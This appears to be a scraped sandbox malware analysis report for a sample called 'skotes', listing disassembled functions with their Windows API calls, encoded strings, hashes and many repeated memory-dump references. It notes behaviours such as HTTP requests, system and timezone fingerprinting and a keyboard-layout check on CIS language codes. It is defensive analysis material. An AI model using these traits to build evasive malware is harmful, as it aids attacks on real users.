Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 44cee4145d609741a40e5936fb9caff955343eb242a206b46f82e50c02186109
Instruction ID: 4850ce8ed8f7a3d8e98574559533de69549e89df7d771d83920feeabc83316fd
Opcode Fuzzy Hash: 44cee4145d609741a40e5936fb9caff955343eb242a206b46f82e50c02186109
Instruction Fuzzy Hash: EDB105B1A40118DBDB29DF28CC89B9DBB79EF45304F508199F508972D2DB389AC0CFA5

Function 00786020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0078617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00786271

Strings

00000423, xrefs: 007860FA
0000043f, xrefs: 0078612B
00000422, xrefs: 007860C9
00000419, xrefs: 00786098
Keyboard Layout\Preload, xrefs: 00786054

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 795a81d6b13af6ecf8c888ef98836fa512f854a030cad6be24a025af180321a3
Instruction ID: 9c94bce8c06c653ba84d12fda147616ecc53899dd7aaa2678462422ed47dd372
Opcode Fuzzy Hash: 795a81d6b13af6ecf8c888ef98836fa512f854a030cad6be24a025af180321a3
Instruction Fuzzy Hash: BCB1BF71940268ABDF24DB54CC88BDEB779AF05340F5402D9E108E7292DB78AFA88F55

Function 00787D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00787ED3

Strings

JjsrQV==, xrefs: 00788092
JjsrPl==, xrefs: 0078828A
JjssOl==, xrefs: 0078813A
JjssPV==, xrefs: 007881E2

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: b6b33a37a921db88da9b957c61e155a57f898b47b2c9d65f24ebcfdd58d15b93
Instruction ID: 8fb8e5d5958a6aaca5bc1bc6cc1f6039dd903e8cecb5595d73d9027d5380a673
Opcode Fuzzy Hash: b6b33a37a921db88da9b957c61e155a57f898b47b2c9d65f24ebcfdd58d15b93
Instruction Fuzzy Hash: E2E1F370E40644DBDB18BB68DC4B79D7A71AB46720FA44288E415AB3C2DB7C5E818BD2

Function 007C1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007C1775: CreateFileW.KERNEL32(00000000,00000000,?,007C1B65,?,?,00000000,?,007C1B65,00000000,0000000C), ref: 007C1792

__dosmaperr.LIBCMT ref: 007C1BD7
GetFileType.KERNEL32(00000000), ref: 007C1BE3
__dosmaperr.LIBCMT ref: 007C1BF6
__dosmaperr.LIBCMT ref: 007C1D9C

Strings

H, xrefs: 007C1D21

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: c827e1c3fa0c3930608166d2c0dbe265986d0e43dc871b48542b044fe5f5ee2c
Instruction ID: 7dfcddb067f8b7ebf52d13fc98bac98530c42954c7a8133a331c183f535899a9
Opcode Fuzzy Hash: c827e1c3fa0c3930608166d2c0dbe265986d0e43dc871b48542b044fe5f5ee2c
Instruction Fuzzy Hash: D8A1E732A041549FDF19DF68CC91FAE3BA19F47324F1441ADE812AF292DB399D12C761

Function 007C26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,007D6758), ref: 007C275C

Strings

Xg}, xrefs: 007C2705, 007C270B
Eastern Standard Time, xrefs: 007C27CB
Eastern Summer Time, xrefs: 007C27FA

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg}
API String ID: 565725191-4203849679
Opcode ID: 0a38e302c51de4995b9db036424a9451a80e2729c1e7b333c6e46271beacd642
Instruction ID: 7b70a7bd6de311ccccb8d01d4eb581fe479ff78f3cc0fd9721a92fa19d0a5bde
Opcode Fuzzy Hash: 0a38e302c51de4995b9db036424a9451a80e2729c1e7b333c6e46271beacd642
Instruction Fuzzy Hash: 9151F871900259EFDB10EF699C85FAE77FCEF54360B14416DE610A7292EB3C9E428B60

Function 007B6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,007B6EE6), ref: 007B6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 007B7030
__dosmaperr.LIBCMT ref: 007B70C5

Part of subcall function 007B732A: __dosmaperr.LIBCMT ref: 007B735F

Strings

n{, xrefs: 007B6FCE

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
